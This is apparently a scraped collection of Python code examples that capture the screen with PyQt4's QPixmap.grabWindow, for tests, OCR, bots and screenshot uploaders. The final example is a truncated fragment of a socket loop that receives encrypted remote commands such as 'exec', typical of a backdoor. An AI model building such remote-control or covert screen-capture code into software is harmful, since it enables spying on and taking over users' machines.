示例#1
0
def get_data_uri():
    buffer = QBuffer()
    buffer.open(QIODevice.ReadWrite)

    QPixmap.grabWindow(QApplication.desktop().winId()).save(buffer, 'jpg', 10)
    
    return 'data:image/jpeg;base64,' + str(b64encode(buffer.data().data()), 'ascii')
示例#2
0
    def impl(self):
        try:
            # Capture the window before we change anything
            beforeImg = QPixmap.grabWindow( self.w.winId() ).toImage()
            
            # Change the visibility of the *selected* layer
            self.o2.visible = False
            
            self.w.repaint()
            
            # Make sure the GUI is caught up on paint events
            QApplication.processEvents()
            
            # We must sleep for the screenshot to be right.
            time.sleep(0.1) 

            # Capture the window now that we've changed a layer.
            afterImg = QPixmap.grabWindow( self.w.winId() ).toImage()
    
            # Optional: Save the files so we can inspect them ourselves...
            #beforeImg.save('before.png')
            #afterImg.save('after.png')

            # Before and after should NOT match.
            assert beforeImg != afterImg
        except:
            # Catch all exceptions and print them
            # We must finish so we can quit the app.
            import traceback
            traceback.print_exc()
            TestLayerWidget.errors = True

        qApp.quit()
示例#3
0
    def get_screen_by_qt(self, x1=None, y1=None, x2=None, y2=None):
        from PyQt4.QtGui import QPixmap, QApplication
        from PyQt4.Qt import QBuffer, QIODevice
        import StringIO

        app = QApplication(sys.argv)
        _buffer = QBuffer()
        _buffer.open(QIODevice.ReadWrite)

        desktop = QApplication.desktop()
        #width = desktop.screenGeometry().width()
        #height = desktop.screenGeometry().height()

        if x1 is None:
            x1 = 0
        if y1 is None:
            y1 = 0
        if x2 is None:
            x2 = -1
        else:
            x2 -= x1
        if y2 is None:
            y2 = -1
        else:
            y2 -= y1

        QPixmap.grabWindow(desktop.winId(), x1, y1, x2, y2) \
                                    .save(_buffer, 'png')
        strio = StringIO.StringIO()
        strio.write(_buffer.data())
        _buffer.close()
        del app
        strio.seek(0)
        return Image.open(strio)
 def get_screen(self):
     self.buffer.open(QIODevice.ReadWrite)
     QPixmap.grabWindow(QApplication.desktop().winId()).scaled(480, 240).save(self.buffer, 'jpeg', quality=50)
     self.strio = StringIO()
     self.strio.write(self.buffer.data())
     self.buffer.close()
     self.strio.seek(0)
示例#5
0
def screenTable(library='xlib'):
    if (library=='xlib'):
        from Xlib import display, X
        ##Get screenshot of the table##
        width,height = int((1/2)*pyautogui.size().width/constants.NB_DISPLAYS),int((4/4)*pyautogui.size().height)
        dsp = display.Display()
        root = dsp.screen().root
        raw = root.get_image(0, 0, width, height, X.ZPixmap, 0xffffffff)
        table_img = Image.frombytes("RGB", (width, height), raw.data, "raw", "BGRX").convert('RGB')
        return table_img
    elif (library=='pyqt'):
        from PyQt4.QtGui import QPixmap, QApplication
        from PyQt4.Qt import QBuffer, QIODevice
        import io
        app = QApplication(sys.argv)
        buffer = QBuffer()
        buffer.open(QIODevice.ReadWrite)
        QPixmap.grabWindow(QApplication.desktop().winId()).save(buffer, 'png')
        strio = io.BytesIO()
        strio.write(buffer.data())
        buffer.close()
        del app
        strio.seek(0)
        table_img = Image.open(strio)
        width,height = int((1/2)*pyautogui.size().width/constants.NB_DISPLAYS),int((3/4)*pyautogui.size().height)
        table_img = table_img.crop((0,0,width,height))
       # print(table_img)
        return table_img

    else:
        print("The library: "+library+" can't be used here")
示例#6
0
    def impl(self):
        try:
            # Capture the window before we change anything
            beforeImg = QPixmap.grabWindow( self.w.winId() ).toImage()
            
            # Change the visibility of the *selected* layer
            self.o2.visible = False
            
            self.w.repaint()
            
            # Make sure the GUI is caught up on paint events
            QApplication.processEvents()
            
            # We must sleep for the screenshot to be right.
            time.sleep(0.1) 

            # Capture the window now that we've changed a layer.
            afterImg = QPixmap.grabWindow( self.w.winId() ).toImage()
    
            # Optional: Save the files so we can inspect them ourselves...
            #beforeImg.save('before.png')
            #afterImg.save('after.png')

            # Before and after should NOT match.
            assert beforeImg != afterImg
        except:
            # Catch all exceptions and print them
            # We must finish so we can quit the app.
            import traceback
            traceback.print_exc()
            TestLayerWidget.errors = True

        qApp.quit()
 def get_screen(self):
     self.buffer.open(QIODevice.ReadWrite)
     QPixmap.grabWindow(QApplication.desktop().winId()).scaled(
         480, 240).save(self.buffer, 'jpeg', quality=50)
     self.strio = StringIO()
     self.strio.write(self.buffer.data())
     self.buffer.close()
     self.strio.seek(0)
示例#8
0
 def grab_to_buffer(self, buffer, file_type='png'):
     if not self.app:
         self.app = QApplication([])
     qbuffer = QBuffer()
     qbuffer.open(QIODevice.ReadWrite)
     QPixmap.grabWindow(QApplication.desktop().winId()).save(qbuffer, file_type)
     buffer.write(qbuffer.data())
     qbuffer.close()
示例#9
0
def screenshot_qt4(filename):
    """Effectue une copie d'écran, stocke le résultat dans `filename'
    (auquel on ajoute l'extension)."""
    from PyQt4.QtGui import QPixmap, QApplication
    app = QApplication(sys.argv)
    format = 'bmp'
    output_file = filename + '.' + format
    QPixmap.grabWindow(QApplication.desktop().winId()).save(output_file, format)
    return output_file
示例#10
0
 def __init__(self, window_id=None):
     super(ScreenWeb, self).__init__(sys.argv)
     if not window_id:
         window_id = QApplication.desktop().winId()
     else:
         window_id = int(window_id, 0)
     while True:
         QPixmap.grabWindow(window_id).save('new_image.png', 'png')
         os.rename('new_image.png', 'image.png')
         time.sleep(0.3)
示例#11
0
 def __init__(self, window_id=None):
     super(ScreenWeb, self).__init__(sys.argv)
     if not window_id:
         window_id = QApplication.desktop().winId()
     else:
         window_id = int(window_id, 0)
     while True:
         QPixmap.grabWindow(window_id).save('new_image.png', 'png')
         os.rename('new_image.png', 'image.png')
         time.sleep(0.3)
示例#12
0
def send_screenshot():
    app = QApplication(sys.argv)
    QPixmap.grabWindow(QApplication.desktop().winId()).save(
        'screenshot.jpg', 'jpg')
    with open("screenshot.jpg", "rb") as image_file:
        encoded_image = base64.b64encode(image_file.read())
    data = {'secret_key': SECRET_KEY, 'image': encoded_image}
    r = requests.post(API_URL, headers=HEADER, data=data)
    webbrowser.open(r.json().get('data').get('short_link'))
    print("Отправлено")
    return True
示例#13
0
 def getScreenByQt(self):
     from PyQt4.QtGui import QPixmap, QApplication
     from PyQt4.Qt import QBuffer, QIODevice
     import StringIO
     app = QApplication(sys.argv)
     buffer = QBuffer()
     buffer.open(QIODevice.ReadWrite)
     QPixmap.grabWindow(QApplication.desktop().winId()).save(buffer, 'png')
     strio = StringIO.StringIO()
     strio.write(buffer.data())
     buffer.close()
     del app
     strio.seek(0)
     return Image.open(strio)
示例#14
0
 def getScreenByQt(self):
     from PyQt4.QtGui import QPixmap, QApplication
     from PyQt4.Qt import QBuffer, QIODevice
     import StringIO
     app = QApplication(sys.argv)
     buffer = QBuffer()
     buffer.open(QIODevice.ReadWrite)
     QPixmap.grabWindow(QApplication.desktop().winId()).save(buffer, 'png')
     strio = StringIO.StringIO()
     strio.write(buffer.data())
     buffer.close()
     del app
     strio.seek(0)
     return Image.open(strio)
示例#15
0
 def getScreenByQt(self):
     from PyQt4.QtGui import QPixmap, QApplication
     from PyQt4.Qt import QBuffer, QIODevice
     import StringIO
     # there should only ever be a single instance of QApplication or else it crashes on some platforms
     if Screenshot.qtAppInstance is None:
         Screenshot.qtAppInstance = QApplication(sys.argv)
     buffer = QBuffer()
     buffer.open(QIODevice.ReadWrite)
     QPixmap.grabWindow(QApplication.desktop().winId()).save(buffer, 'png')
     strio = StringIO.StringIO()
     strio.write(buffer.data())
     buffer.close()
     strio.seek(0)
     return Image.open(strio)
示例#16
0
 def getScreenByQt4(self):
    from PyQt4.Qt import QBuffer
    import StringIO
    from PyQt4.Qt import QIODevice
    from PyQt4.QtGui import QPixmap
    from PyQt4.QtGui import QApplication
    buffer = QBuffer()
    rootwin = QApplication.desktop().winId()
    buffer.open(QIODevice.ReadWrite)
    strio = StringIO.StringIO()
    QPixmap.grabWindow(rootwin).save(buffer, 'jpg')
    strio.write(buffer.data())
    strio.seek(0)
    buffer.close()
    return Image.open(strio)
示例#17
0
    def pixel_color_in_area(self, rectangle, color):
        """
        Searches the rectangle area 'rectangle' for the color 'color'.
        If the 'color' is found inside 'rectangle' then it returns True
        as first argument and the point where the pixel was found as the 2nd argument
        If nothing is found then it simply returns False.
        The rectangle is a tuple [x, y, width, height], where x, y the
        coordinates of the top left corner and width, height the width
        and the height of the rectangle.
        The color is a string with a hexadecimal representation of 
        a color (e.g. #000000)
        """
        x = rectangle[0]
        y = rectangle[1]
        width = rectangle[2]
        height = rectangle[3]
        color = to_lower(color)

        img = QPixmap.grabWindow(QApplication.desktop().winId()).toImage().copy(x, y, width + 1, height + 1)

        cur_y = cur_x = 0
        while cur_y <= height:
            cur_x = 0
            while cur_x <= width:
                cur_color = QColor(img.pixel(QPoint(cur_x, cur_y)))
                if str(color) == str(cur_color.name()):
                    return True, [cur_x + x, cur_y + y]
                cur_x += self.pixel_search_speed
            cur_y += 1
        return False, [-1, -1]
示例#18
0
    def pixel_color_in_area_counter(self, rectangle, color):
        """
        Searches the rectangle area 'rectangle' for the color 'color'.
        It returns an integer indicating the times that the 'color'
        was found inside the 'rectangle'.
        The rectangle is a tuple [x, y, width, height], where x, y the
        coordinates of the top left corner and width, height the width
        and the height of the rectangle.
        The color is a string with a hexadecimal representation of 
        a color (e.g. #000000)
        """
        x = rectangle[0]
        y = rectangle[1]
        width = rectangle[2]
        height = rectangle[3]
        color = to_lower(color)

        img = QPixmap.grabWindow(QApplication.desktop().winId()).toImage().copy(x, y, width + 1, height + 1)

        counter = cur_y = cur_x = 0
        while cur_y <= height:
            cur_x = 0
            while cur_x <= width:
                cur_color = QColor(img.pixel(QPoint(cur_x, cur_y)))
                if str(color) == str(cur_color.name()):
                    counter += 1
                cur_x += self.pixel_search_speed
            cur_y += 1
        return counter
示例#19
0
    def getScreenByQt():

        buffer = QBuffer()
        buffer.open(QIODevice.ReadWrite)
        img = QPixmap.grabWindow(
            QApplication.desktop().winId()).toImage().copy(
                0, 0, 320, 240).convertToFormat(QImage.Format_RGB16)

        buf = bytearray(img.bits().asarray(320 * 240 * 2))

        # flip vertically
        offset = 320 * 240 * 2
        for i in range(0, 240 // 2):
            row_a = i
            row_b = 239 - i

            row_a_offset = 320 * row_a * 2
            row_b_offset = 320 * row_b * 2

            row_a_data = bytes(buf[row_a_offset:row_a_offset + 320 * 2])
            row_b_data = bytes(buf[row_b_offset:row_b_offset + 320 * 2])

            buf[row_a_offset:row_a_offset + 320 * 2] = row_b_data
            buf[row_b_offset:row_b_offset + 320 * 2] = row_a_data
        return buf
示例#20
0
 def saveWindow(self, fileName=None, fileType=None, window=False):
     self.repaint() # make sure we are uptodate
     if window:
         pixmap = QPixmap.grabWindow(self.winId())
     else:
         pixmap = QPixmap.grabWidget(self)
     if not fileName:
         fileTypes = {unicode(QCoreApplication.translate('SubWindow', 'PNG - compressed image')):('png',),
             unicode(QCoreApplication.translate('SubWindow', 'JPEG - picture')):('jpg', 'jpeg'),
             unicode(QCoreApplication.translate('SubWindow', 'BMP - uncompressed bitmap')):('bmp',)}
         filters = ';;'.join(['%s (%s)' % (k, ' '.join(['*.'+e for e in v])) for k, v in fileTypes.items()])
         dlg = QFileDialog(self,
             QCoreApplication.translate('SubWindow', 'Select name of file to save'),
             Globals.defaultFolder or '', filters)
         dlg.setFileMode(QFileDialog.AnyFile)
         dlg.setAcceptMode(QFileDialog.AcceptSave)
         if dlg.exec_() != QDialog.Accepted:
             return
         tmp = unicode(dlg.selectedFilter())
         fileType = tmp[:tmp.find('(')-1]
         dlg.setDefaultSuffix(fileTypes[fileType][0])
         files = dlg.selectedFiles()
         if not files:
             return
         fileName = unicode(files[0])
         Globals.defaultFolder, tmp = os.path.split(fileName)
     try:
         pixmap.save(unicode(fileName))
     except:
         QMessageBox.critical(self,
             QCoreApplication.translate('SubWindow', 'Could not save file!'),
             QCoreApplication.translate('SubWindow', 'Writing failed! Make sure you have write permissions!'))
示例#21
0
def snapshot(thumbpath, x=300, y=300):
    try:
        import gtk.gdk
        w = gtk.gdk.get_default_root_window() 
        sz = w.get_size()
        pb = gtk.gdk.Pixbuf(gtk.gdk.COLORSPACE_RGB, False, 8, sz[0], sz[1])
        pb = pb.get_from_drawable(w, w.get_colormap(),
                                  0, 0, 0, 0, sz[0], sz[1])

        if sz[0] > x or sz[1] > y:
            scaleFactor = 1.0 * x / sz[0]
            if sz[1] * scaleFactor > y:
                scaleFactor = 1.0 * y / sz[1]

            finalsize = [int(sz[0] * scaleFactor), int(sz[1] * scaleFactor)]
            pb = pb.scale_simple(finalsize[0], finalsize[1], gtk.gdk.INTERP_BILINEAR)

    except:
        import sys
        from PyQt4.QtGui import QPixmap, QApplication 
        from PyQt4.QtCore import  Qt
        app = QApplication(sys.argv)
        pb = QPixmap.grabWindow(QApplication.desktop().winId())
        pb = pb.scaled(x, y, Qt.KeepAspectRatio, Qt.SmoothTransformation)

    if (pb != None):
        pb.save(thumbpath, 'png')
        return True
    else:
        return False
示例#22
0
def save_screen(screen_id):

    if screen_id > desktop.screenCount():
        raise (IndexError)

    date = datetime.now()
    filename = date.strftime('%m-%d-%Y_%Hh-%Mm-%Ss.jpg')

    im = pyimgur.Imgur(CLIENT_ID)

    screen = detect_screens(desktop)[screen_id - 1]
    picture = QPixmap.grabWindow(desktop.winId(),
                                 x=screen.x(),
                                 y=screen.y(),
                                 width=screen.width(),
                                 height=screen.height())
    success = picture.save(filename, 'jpg')

    if success:
        uploaded_image = im.upload_image(filename, title='Thowaway Title')
        link = uploaded_image.link
        pyperclip.copy(link)

        os.remove(filename)

        with open('link_log.txt', 'a') as f:
            f.write(filename + ' --> ' + link + '\n')

    else:
        with open('link_log.txt', 'a') as f:
            f.write(filename + ' --> failure\n')
示例#23
0
    def save(self):
        """
        Saves the snapshot based on the current region.
        """
        # close down the snapshot widget
        if self.hideWindow():
            self.hideWindow().hide()

        self.hide()
        QApplication.processEvents()
        time.sleep(1)

        # create the pixmap to save
        wid = QApplication.desktop().winId()

        if not self._region.isNull():
            x = self._region.x()
            y = self._region.y()
            w = self._region.width()
            h = self._region.height()
        else:
            x = self.x()
            y = self.y()
            w = self.width()
            h = self.height()

        pixmap = QPixmap.grabWindow(wid, x, y, w, h)
        pixmap.save(self.filepath())

        self.close()
        self.deleteLater()
        if self.hideWindow():
            self.hideWindow().show()
示例#24
0
 def save(self):
     """
     Saves the snapshot based on the current region.
     """
     # close down the snapshot widget
     if self.hideWindow():
         self.hideWindow().hide()
     
     self.hide()
     QApplication.processEvents()
     time.sleep(1)
     
     # create the pixmap to save
     wid = QApplication.desktop().winId()
     
     if not self._region.isNull():
         x = self._region.x()
         y = self._region.y()
         w = self._region.width()
         h = self._region.height()
     else:
         x = self.x()
         y = self.y()
         w = self.width()
         h = self.height()
     
     pixmap = QPixmap.grabWindow(wid, x, y, w, h)
     pixmap.save(self.filepath())
     
     self.close()
     self.deleteLater()
     if self.hideWindow():
         self.hideWindow().show()
示例#25
0
def test_flyplan2d_crossection(request, monkeypatch, positioners, run_engine,
                               fly2d, xspress3):
    fly2d.detectors.append(xspress3)

    scan_fcn = hxnfly.bs.FlyPlan2D()

    monkeypatch.setattr(hxnfly.fly, 'Xspress3Detector', xspress3.__class__)

    xspress3.array_counter.put(4)

    # TODO is this done in configure_roi?
    xspress3.setup_fake_rois([('Fe', [1, 2, 3, 4]), ('Mo', [4, 3, 2, 1])])
    with pytest.raises(ValueError):
        # cross-section only does 1 at a time
        FlyLiveCrossSection(['Fe', 'Mo'])

    crossection = FlyLiveCrossSection(['Fe'])
    scan_fcn.subs = [crossection]
    gen = scan_fcn(
        positioners['testx'],
        -1.0,
        1.0,
        2,
        positioners['testy'],
        -1.0,
        1.0,
        2,
        1.0,
        dead_time=0.001,
    )

    run_engine(gen)

    crossection.disable()
    from PyQt4.QtGui import QPixmap

    live_fn = 'crossection-live-{}.png'.format(request.node.name)
    QPixmap.grabWindow(crossection.live_window.winId()).save(live_fn, 'png')
    crossection.live_window.close()

    if crossection._final_window is not None:
        final_fn = 'crossection-final-{}.png'.format(request.node.name)
        QPixmap.grabWindow(crossection.final_window.winId()).save(
            final_fn, 'png')
        crossection.final_window.close()
示例#26
0
def get_image():
    '''Returns a 2-d array of the image on the screen.

    performance:
        .66 toImage()
        .33 convertQImageToMat()
    '''
    image = qimage_to_numpy(
        QPixmap.grabWindow(QApplication.desktop().winId()).toImage())
    return image
示例#27
0
 def render_image(self):
     public_rect = self.live_text_rect()
     #global_rect = QtCore.QRect(self.mapToGlobal(public_rect.topLeft()), self.mapToGlobal(public_rect.bottomRight()))
     pixmap = QPixmap.grabWindow(self.win_id,
                                 public_rect.x() + 1,
                                 public_rect.y() + 1, 768, 576)
     buf = QBuffer()
     buf.open(QIODevice.WriteOnly)
     pixmap.save(buf, "JPG", 75)
     return buf.data()
示例#28
0
文件: peek.py 项目: dkkline/PyPeek
def peek_qt(fmt="png"):
    """Takes a screenshot using QT."""
    import sys
    from PyQt4.QtGui import QPixmap, QApplication
    from PyQt4.Qt import QBuffer, QIODevice

    app = QApplication(sys.argv)
    buff = QBuffer()
    buff.open(QIODevice.ReadWrite)
    QPixmap.grabWindow(QApplication.desktop().winId()).save(buff, fmt)

    screenshot = Screenshot()
    screenshot.addvalue(buff.data())
    buff.close()
    del app

    screenshot.fmt = fmt

    return screenshot
示例#29
0
def bn_save_switch(vip, textfile_formatting = None):
    dir_path_cwd     = os.getcwd()

    dir_path_results = vip.get('Results', 'DIR_PATH_results')
    index            = vip.get('Results', 'N_result_index')
    title_result     = vip.get('Results', 'TITLE_result')+"_"+index
    this_second      = strftime("%y%m%d_%Hh%Mm%Ss")                             # use the function os get_time function here

    ### Go to dir_path_results
    if not os.path.isdir(dir_path_results):
        try:
            os.makedirs(dir_path_results)
            print "(bn_save_switch), Saving data to:"
            print dir_path_results
        except WindowsError as exception:
            print "!!! (bn_save_switch, WindowsError) Maybe you don't have directory access."
            print exception
    os.chdir(dir_path_results)

    ### Save session
    if vip.get('Results','B_save_session') == 'ON':
        file_name_session = title_result + "_sess_" + this_second
        with open(file_name_session+".txt", "w") as out_file:
            json.dump(vip._session, out_file, indent = 10)
        print "(bn_save_switch) Session file created."

    ### Save screenshot
    if vip.get('Results', 'B_save_screenshot') == 'ON':
        file_name_screenshot = title_result+"_snap_"+this_second
        widgets = {'VIP_tabs'  : vip
                  ,'plots_12'  : vip._PlotsWindow_12
                  ,'plots_34'  : vip._PlotsWindow_34
                  ,'__scripts' : vip.ScriptsWindow
                  }
        for name_k, widget_v in widgets.iteritems():
            if widget_v._B_can_make_screenshot:
                ### winId is the Qt method that returns the window widgets reference ID
                window = widget_v.winId()
                pixmap = QPixmap.grabWindow(window)
                B_success = pixmap.save(file_name_screenshot+"_"+name_k+".jpg", "jpg")
                if not B_success:
                    print "!!! (pixmap.save) There was an issue with the screenshot package."
        print "(bn_save_switch) Screenshot files created."

    ### Save result data
    if vip.get('Results', 'B_save_result') == 'ON':
        file_name_result = title_result + "_data_" + this_second
        with open(file_name_result+".txt", "w") as out_file:
            json.dump(vip.result, out_file, separators = (',', ':'), indent = None, sort_keys = True)
        if textfile_formatting is not None:
            textfile_formatting(file_name_result+".txt")
        print "(bn_save_switch) Data file created."
    ### Go back to dir_path_cwd
    os.chdir(dir_path_cwd)
示例#30
0
    def capturarPantalla(self):
        time = strftime("%d %b %Y_%H:%M:%S", gmtime())
        imagen = './screenshot/' + self.usuario + '_' + time + '.png'

        app = QApplication(argv)
        winId = QApplication.desktop().winId()
        width = QApplication.desktop().screenGeometry().width()
        height = QApplication.desktop().screenGeometry().height()

        captura = QPixmap.grabWindow(winId, 0, 0, width, height)

        captura.save(imagen)
示例#31
0
        def capturarPantalla(self):
                time = strftime("%d %b %Y_%H:%M:%S", gmtime())
                imagen = './screenshot/' + self.usuario + '_' + time + '.png'
 
                app = QApplication(argv)
                winId = QApplication.desktop().winId()
                width = QApplication.desktop().screenGeometry().width()
                height = QApplication.desktop().screenGeometry().height()
 
                captura = QPixmap.grabWindow(winId, 0, 0, width, height)
 
                captura.save(imagen)
 def takeScreenshot(self):
     p = QPixmap.grabWindow(self.winId(), 0, 0, self.width(), self.height())
     p.save('screenshot.jpg', 'jpg')
     ftp = ftplib.FTP("XX.XX.XX.XX")
     ftp.login("XX", "XXX")
     ftp.cwd("/var/www/html")
     filename = 'screenshot.jpg'
     os.chdir('/home/damian/Projekty/Tablica-informacyjna-Projekt-PTI/TablicaQt')
     myfile = open(filename, 'r')
     #print ftp.retrlines('LIST')
     ftp.storbinary('STOR ' + filename, myfile)
     myfile.close()
示例#33
0
 def save_section_of_the_screen(self, rectangle, filename):
     """Saves the 'rectangle' in 'filename'.
     The rectangle is a tuple [x, y, width, height], where x, y the
     coordinates of the top left corner and width, height the width
     and the height of the rectangle.
     """
     img = (
         QPixmap.grabWindow(QApplication.desktop().winId())
         .toImage()
         .copy(QRect(rectangle[0], rectangle[1], rectangle[2], rectangle[3]))
     )
     img.save(filename, "PNG", 100)
示例#34
0
    def __shootScreen(self):

        if self.delaySpinBox.value() != 0:
            QApplication.beep()

        self.originalPixmap = QPixmap.grabWindow(
            QApplication.desktop().winId())
        self.__updateScreenshotLabel()

        self.newScreenshotButton.setDisabled(False)
        if self.hideThisWindowCheckBox.isChecked():
            self.show()
示例#35
0
    def main(img_dir):
        game = CoinGetter()
        game.load_images(img_dir)
        game.detect_position()

        app = QApplication(sys.argv)
        window_id = app.desktop().winId()
        left, top, w, h = game.region()
        pixmap = QPixmap.grabWindow(window_id, left, top, w, h)
        image = pixmap.toImage()
        bits = image.bits()
        bits.setsize(image.byteCount())
        screen = Image.fromarray(
            np.array(bits).reshape((h, w, 4))[:, :, 2::-1])
示例#36
0
 def getScreenByQt(self):
     from PyQt4.QtGui import QPixmap, QApplication
     from PyQt4.Qt import QBuffer, QIODevice, QFile
     import StringIO
     logging.debug("In QT grab...")
     if not global_values.app:
         # init QT app for captuer
         global_values.app = QApplication(sys.argv)
     f = QFile(self.filename)
     f.open(QIODevice.WriteOnly)
     logging.debug("QT opened file...")
     #buffer = QBuffer()
     #buffer.open(QIODevice.ReadWrite)
     QPixmap.grabWindow(QApplication.desktop().winId(),self.x1,self.x2,self.y1,self.y2).save(f, 'png')
     logging.debug("QT grabbed window...")
     f.close()
     del f
     #strio = StringIO.StringIO()
     #strio.write(buffer.data())
     #buffer.close()
     #strio.seek(0)
     #return Image.open(strio)
     return self.filename
示例#37
0
def OCRperformOCRName(position,x,y,w,h,digits = False):
	img = QPixmap.grabWindow(QApplication.desktop().winId(),x,y,w,h)
	#img.save('a.png', 'png')
	buffer = QBuffer()
	buffer.open(QIODevice.ReadWrite)
	img.save(buffer, "PNG")
	
	strio = cStringIO.StringIO()
	strio.write(buffer.data())
	buffer.close()
	strio.seek(0)
	im = Image.open(strio)
	pixdata = im.load();
	
	for y in xrange(im.size[1]):
		for x in xrange(im.size[0]):
			total = pixdata[x, y][0] + pixdata[x, y][1] + pixdata[x, y][2]
			if total < 500:
				pixdata[x, y] = (255, 255, 255)
			else:
				pixdata[x, y] = (0, 0, 0)
				
	#Add extra space on each side
	for y in xrange(im.size[1]):
		pixdata[0,y] = (255, 255, 255)
		pixdata[1,y] = (255, 255, 255)
		pixdata[im.size[0]-1,y] = (255, 255, 255)
		pixdata[im.size[0]-2,y] = (255, 255, 255)
	for x in xrange(im.size[0]):
		pixdata[x,0] = (255, 255, 255)
		pixdata[x,1] = (255, 255, 255)
		pixdata[x,im.size[1]-1] = (255, 255, 255)
		pixdata[x,im.size[1]-2] = (255, 255, 255)
		
	nx, ny = im.size
	im = im.resize((nx*5, ny*5), Image.ANTIALIAS)
	enh = ImageEnhance.Contrast(im)
	pixdata = im.load()
	for y in xrange(im.size[1]):
		for x in xrange(im.size[0]):
			total = pixdata[x, y][0] + pixdata[x, y][1] + pixdata[x, y][2]
			if total < 500:
				pixdata[x, y] = (0, 0, 0)
			else:
				pixdata[x, y] = (255, 255, 255)	
	im = im.resize((int(nx*5), int(ny*5)), Image.BILINEAR)
	rvalue = OCR_to_string(im,digits)
	#im.save("training"+str(position)+""+str(int(random.random()*10000)) +".png","PNG")
	return rvalue 
示例#38
0
        def screenShot(self,filename,filetype):
	        """ 
                Takes a screenshot of the whole gui window, saves png and ps images to file

                Args:
                        fileName (str): Directory string of where to save the file
                        filetype (str): String of the filetype to save
                """
                s = str(filename)+"."+str(filetype)
                p = QPixmap.grabWindow(self.winId())
                p.save(s, 'png')
                im = Image.open(s)
                im.save(s[:-4]+".ps")
                p = p.scaled(465,400)
                p.save(str(s), 'png')
示例#39
0
    def screenShot(self, filename, filetype):
        """
        Takes a screenshot of the whole gui window, saves png and ps images to file
        :param filename: (str) Directory string of where to save the file
        :param filetype: (str) String of the filetype to save
        :return:
        """

        s = str(filename) + "." + str(filetype)
        p = QPixmap.grabWindow(self.Form.winId())
        p.save(s, 'png')
        # im = Image.open(s)
        # im.save(s[:-4]+".ps")
        p = p.scaled(465, 400)
        # save again a small image to use for the logbook thumbnail
        p.save(str(s[:-4]) + "_sm.png", 'png')
示例#40
0
    def screenShot(self, filename, filetype):

        """
        Takes a screenshot of the whole gui window, saves png and ps images to file
        :param filename: (str) Directory string of where to save the file
        :param filetype: (str) String of the filetype to save
        :return:
        """

        s = str(filename) + "." + str(filetype)
        p = QPixmap.grabWindow(self.Form.winId())
        p.save(s, 'png')
        # im = Image.open(s)
        # im.save(s[:-4]+".ps")
        p = p.scaled(465, 400)
        # save again a small image to use for the logbook thumbnail
        p.save(str(s[:-4]) + "_sm.png", 'png')
示例#41
0
    def initUI(self):

        layout = QtGui.QVBoxLayout(self)

        label = MyLabel(self)
        pixmap = QPixmap.grabWindow(app.desktop().winId())
        label.setPixmap(pixmap)
        layout.addWidget(label)

        self.setLayout(layout)

        geometry = app.desktop().availableGeometry()

        self.setFixedSize(geometry.width(), geometry.height())

        # self.setWindowFlags( self.windowFlags() | Qt.FramelessWindowHint)
        self.show()
示例#42
0
    def render(self, url):
        """The real worker. Loads the page (_load_page) and awaits
        the end of the given 'delay'. While it is waiting outstanding
        QApplication events are processed.
        After the given delay, the Window or Widget (depends
        on the value of 'grabWholeWindow' is drawn into a QPixmap
        and postprocessed (_post_process_image).
        """
        self._load_page(url, self.width, self.height, self.timeout)
        # Wait for end of timer. In this time, process
        # other outstanding Qt events.
        if self.wait > 0:
            if self.logger:
                self.logger.debug("Waiting %d seconds " % self.wait)

            waitToTime = time.time() + self.wait
            while time.time() < waitToTime and QApplication.hasPendingEvents():
                QApplication.processEvents()

        if self.renderTransparentBackground:
            # Another possible drawing solution
            image = QImage(self._page.viewportSize(), QImage.Format_ARGB32)
            image.fill(QColor(255, 0, 0, 0).rgba())

            # http://ariya.blogspot.com/2009/04/transparent-qwebview-and-qwebpage.html
            palette = self._view.palette()
            palette.setBrush(QPalette.Base, Qt.transparent)
            self._page.setPalette(palette)
            self._view.setAttribute(Qt.WA_OpaquePaintEvent, False)

            painter = QPainter(image)
            painter.setBackgroundMode(Qt.TransparentMode)
            self._page.mainFrame().render(painter)
            painter.end()
        else:
            if self.grabWholeWindow:
                # Note that this does not fully ensure that the
                # window still has the focus when the screen is
                # grabbed. This might result in a race condition.
                self._view.activateWindow()
                image = QPixmap.grabWindow(self._window.winId())
            else:
                image = QPixmap.grabWidget(self._window)

        return self._post_process_image(image)
示例#43
0
    def _get_screen_graphics ( self ):
        from facets.ui.toolkit import toolkit

        if self._screen_graphics is None:
            control = self.control
            pixmap  = QPixmap.grabWindow( control.winId() )
            self._sg_control = sg = toolkit().create_control( self )
            sg._pixmap = pixmap
            dx, dy     = self.size
            sg.bounds  = ( 0, 0, dx, dy )
            sg.set_event_handler( paint = self._screen_graphics_paint )
            painter = painter_for( pixmap )
            painter._control = sg.control
            self._screen_graphics = (
                QtGraphics( painter, bitmap = pixmap ), 0, 0
            )

        return self._screen_graphics
示例#44
0
    def _get_image ( self ):
        # Note: The following code works in most cases, but fails when trying to
        # capture a VTK-based widget (the VTK-part of the widget is usually all
        # black), so we use the more involved technique of capturing the part of
        # the screen the widget covers:
        control = self.control
        if not control.isVisible():
            return ImageResource( bitmap = QPixmap.grabWidget( control, 0, 0 ) )

        point = control.mapToGlobal( QPoint() )
        size  = control.size()

        return ImageResource(
            bitmap = QPixmap.grabWindow(
                QApplication.desktop().winId(),
                point.x(), point.y(), size.width(), size.height()
            )
        )
示例#45
0
文件: web_snap.py 项目: wcirillo/ten
    def render(self, url):
        """The real worker. Loads the page (_load_page) and awaits
        the end of the given 'delay'. While it is waiting outstanding
        QApplication events are processed.
        After the given delay, the Window or Widget (depends
        on the value of 'grabWholeWindow' is drawn into a QPixmap
        and postprocessed (_post_process_image).
        """
        self._load_page(url, self.width, self.height, self.timeout)
        # Wait for end of timer. In this time, process
        # other outstanding Qt events.
        if self.wait > 0:
            LOG.debug("Waiting %d seconds " % self.wait)
            waitToTime = time.time() + self.wait
            while time.time() < waitToTime:
                while QApplication.hasPendingEvents():
                    QApplication.processEvents()

        # Paint this frame into an image
        #self._window.repaint()
        while QApplication.hasPendingEvents():
            QApplication.processEvents()
        
        if self.grabWholeWindow:
            # Note that this does not fully ensure that the
            # window still has the focus when the screen is
            # grabbed. This might result in a race condition.
            self._view.activateWindow()
            image = QPixmap.grabWindow(self._window.winId())
        else:
            image = QPixmap.grabWidget(self._window)

        ## Another possible drawing solution
        #image = QImage(self._page.viewportSize(), QImage.Format_ARGB32)
        #painter = QPainter(image)
        #self._page.mainFrame().render(painter)
        #painter.end()

        return self._post_process_image(image)
示例#46
0
def interactive_session(conn):
	xdirectory = os.getcwd()
	while 1:
		try:

			command = encryption_decrypt(str(conn.recv(2048)))
		except socket.error:
			sys.exit(1)
		except Exception as e:
			sys.exit(1)

		if command.split(" ")[0] == "exec":
			res = 1
			msg = ""

			while len(command.split(" ")) > res:
				msg += command.split(" ")[res] + " "
				res += 1

